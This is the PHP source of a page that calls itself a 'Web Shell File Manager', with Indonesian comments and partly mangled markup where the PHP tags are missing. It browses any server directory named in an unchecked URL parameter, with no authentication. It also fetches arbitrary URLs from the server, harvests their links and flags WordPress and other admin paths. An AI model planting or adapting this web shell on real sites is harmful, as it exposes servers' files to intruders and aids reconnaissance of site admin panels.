// Fungsi untuk mendapatkan daftar link dari URLfunction get_links($url) { if (!filter_var($url, FILTER_VALIDATE_URL)) { return []; } try { $html = @file_get_contents($url); if ($html === FALSE) { return []; } $dom = new DOMDocument; libxml_use_internal_errors(true); $dom->loadHTML($html); libxml_clear_errors(); $links = $dom->getElementsByTagName('a'); $linkArray = []; foreach ($links as $link) { $href = $link->getAttribute('href'); if (!empty($href)) { $absUrl = resolve_url($url, $href); $linkArray[] = $absUrl; } } return array_unique($linkArray); } catch (Exception $e) { return []; }}// Fungsi untuk mengubah relative URL ke absolute URLfunction resolve_url($base, $url) { if (strpos($url, '://') !== false) { return $url; } if ($url[0] == '/') { $parts = parse_url($base); return $parts['scheme'] . '://' . $parts['host'] . $url; } return rtrim($base, '/') . '/' . ltrim($url, '/');}// Fungsi untuk memindai direktorifunction scan_directory($dir) { $files = []; if (is_dir($dir)) { $items = scandir($dir); foreach ($items as $item) { if ($item != '.' && $item != '..') { $path = $dir . '/' . $item; $files[] = [ 'name' => $item, 'path' => $path, 'type' => is_dir($path) ? 'folder' : 'file', 'size' => is_file($path) ? filesize($path) : 0, 'time' => filemtime($path) ]; } } } return $files;}// Proses request$current_dir = isset($_GET['dir']) ? $_GET['dir'] : '.';$target_url = isset($_GET['url']) ? $_GET['url'] : '';$files = scan_directory($current_dir);$links = [];if (!empty($target_url)) { $links = get_links($target_url);}<!DOCTYPE html>
File Manager <title>File Manager</title> <style> body { font-family: 'Courier New', monospace; background-color: #1a1a1a; color: #00ff00; margin: 0; padding: 0; } .container { max-width: 1200px; margin: 0 auto; padding: 20px; } .header { background-color: #000; padding: 15px; text-align: center; border-bottom: 1px solid #333; margin-bottom: 20px; } h1 { margin: 0; font-size: 24px; } .panel { display: flex; margin-bottom: 20px; } .left-panel, .right-panel { flex: 1; padding: 15px; background-color: #222; border: 1px solid #333; margin: 0 10px; } .file-list, .link-list { list-style: none; padding: 0; margin: 0; } .file-item, .link-item { padding: 8px 10px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; } .file-item:hover, .link-item:hover { background-color: #333; } .folder { color: #00ccff; } .admin-link { color: #ff0000; font-weight: bold; } .url-input { width: 100%; padding: 8px; margin-bottom: 15px; background-color: #333; color: #00ff00; border: 1px solid #444; } .btn { background-color: #444; color: #00ff00; border: 1px solid #555; padding: 8px 15px; cursor: pointer; } .btn:hover { background-color: #555; } .file-info { font-size: 12px; color: #666; } </style> <div class="container"> <div class="header"> Web Shell File Manager
</div> <div class="panel"> <div class="left-panel"> File Browser ( echo htmlspecialchars($current_dir); )
<ul class="file-list"> if ($current_dir != '.'): <li class="file-item"> <a href="?dir= echo urlencode(dirname($current_dir)); &url= echo urlencode($target_url); ">[..]</a> </li> endif; foreach ($files as $file): <li class="file-item"> <a href=" if ($file['type'] == 'folder') { echo '?dir=' . urlencode($file['path']) . '&url=' . urlencode($target_url); } else { echo htmlspecialchars($file['path']); } " class=" echo $file['type'] == 'folder' ? 'folder' : ''; "> echo htmlspecialchars($file['name']); </a> <span class="file-info"> echo $file['type'] == 'file' ? format_size($file['size']) . ' - ' . date('Y-m-d H:i', $file['time']) : '[DIR]'; </span> </li> endforeach; </ul> </div> <div class="right-panel"> Discovered Links ( echo htmlspecialchars($target_url); )
<ul class="link-list"> foreach ($links as $link): $is_admin = (strpos($link, 'admin') !== false || strpos($link, 'wp-admin') !== false); <li class="link-item"> <a href=" echo htmlspecialchars($link); " target="_blank" class=" echo $is_admin ? 'admin-link' : ''; "> echo htmlspecialchars($link); </a> if ($is_admin): <span style="color: red;">[ADMIN]</span> endif; </li> endforeach; if (empty($links) && !empty($target_url)): <li class="link-item">No links found or unable to scan the target URL.</li> elseif (empty($target_url)): <li class="link-item">Enter a URL above to scan for links.</li> endif; </ul> </div> </div> </div>// Helper function untuk format ukuran filefunction format_size($size) { $units = ['B', 'KB', 'MB', 'GB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i];}